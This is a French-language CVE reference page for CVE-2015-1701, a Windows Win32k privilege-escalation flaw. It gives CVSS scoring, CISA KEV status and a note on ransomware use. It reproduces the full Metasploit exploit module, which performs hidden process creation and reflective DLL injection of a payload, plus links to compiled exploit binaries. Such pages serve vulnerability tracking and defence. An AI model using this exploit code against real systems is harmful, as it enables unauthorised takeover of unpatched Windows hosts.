CVE-2015-1701 Détail

CVE-2015-1701

Score / Gravité

7.8

Haute

EPSS

34.74%V3

Vecteur

Local

Publié

2015-04-21
10h00 +00:00

Modifié

2025-02-10
18h01 +00:00

Liens officiels

CVE.org

NVD

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Gestion des notifications

Liste des Notifications

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Critères appliqués l'envoi de l'alerte : par rapport à la dernière alerte envoyée + différences au niveau de CISA, EPSS, CVSS, CWE, Solutions, CPE.

Paramètres

Vous pouvez spécifier un titre qui sera récupéré dans les alertes qui seront envoyées.

Spécifiez ici un CVE ID comme CVE-2025-1234

Planifications

Mois

Prochaine exécution calculée

Jour

Jour de la semaine

Heure

Minute

Date de création

Dernière exécution

Prochaine exécution

Fonctionnalité nécessitant une connexion

Cette fonctionnalité qui vous permet de recevoir des alertes, n'est active que lorsque vous êtes connecté à votre compte.

Descriptions du CVE

Win32k.sys in the kernel-mode drivers in Microsoft Windows Server 2003 SP2, Vista SP2, and Server 2008 SP2 allows local users to gain privileges via a crafted application, as exploited in the wild in April 2015, aka "Win32k Elevation of Privilege Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE Other	No informations.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V3.1	7.8	HIGH	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	nvd@nist.gov
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	nvd@nist.gov

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Microsoft Win32k Privilege Escalation Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Known

Ajouter le : 2022-03-02 23h00 +00:00

Action attendue : 2022-03-23 23h00 +00:00

Informations importantes

Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 37367

Date de publication : 2015-06-23 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'Windows ClientCopyImage Win32k Exploit', 'Description' => %q{ This module exploits improper object handling in the win32k.sys kernel mode driver. This module has been tested on vulnerable builds of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # vulnerability discovery and exploit in the wild 'hfirefox', # Code released on github 'OJ Reeves' # msf module ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => 'win', 'SessionTypes' => [ 'metrepreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['CVE', '2015-1701'], ['MSB', 'MS15-051'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'], ['URL', 'https://github.com/hfiref0x/CVE-2015-1701'], ['URL', 'https://technet.microsoft.com/library/security/MS15-051'] ], 'DisclosureDate' => 'May 12 2015', 'DefaultTarget' => 0 })) end def check # Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work) # Winodws 7 SP1 (64-bit) 6.1.7601.17514 (Works) # Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works) # Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works) if sysinfo['OS'] !~ /windows/i return Exploit::CheckCode::Unknown end if sysinfo['Architecture'] =~ /(wow|x)64/i arch = ARCH_X86_64 elsif sysinfo['Architecture'] =~ /x86/i arch = ARCH_X86 end file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") return Exploit::CheckCode::Safe if build == 7601 return Exploit::CheckCode::Detected end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if check == Exploit::CheckCode::Safe || check == Exploit::CheckCode::Unknown fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end if sysinfo['Architecture'] =~ /wow64/i fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') elsif sysinfo['Architecture'] =~ /x86/ && target.arch.first == ARCH_X86_64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) begin process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Metrepreter::RequestError # Reader Sandbox won't allow to create a new process: # stdapi_sys_process_execute: Operation failed: Access is denied. print_status('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") if target.arch.first == ARCH_X86 dll_file_name = 'cve-2015-1701.x86.dll' else dll_file_name = 'cve-2015-1701.x64.dll' end library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1701', dll_file_name) library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end

Exploit Database EDB-ID : 37049

Date de publication : 2015-05-17 22h00 +00:00
Auteur : hfiref0x
EDB Vérifié : Yes

# Source: https://github.com/hfiref0x/CVE-2015-1701 Win32k LPE vulnerability used in APT attack Original info: https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html Credits R136a1 / hfiref0x ## Compiled EXE: ### x86 + https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou32.exe + Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37049-32.exe ### x64 + https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe + Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37049-64.exe ## Source Code: + https://github.com/hfiref0x/CVE-2015-1701/archive/master.zip + EDB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37049-src.zip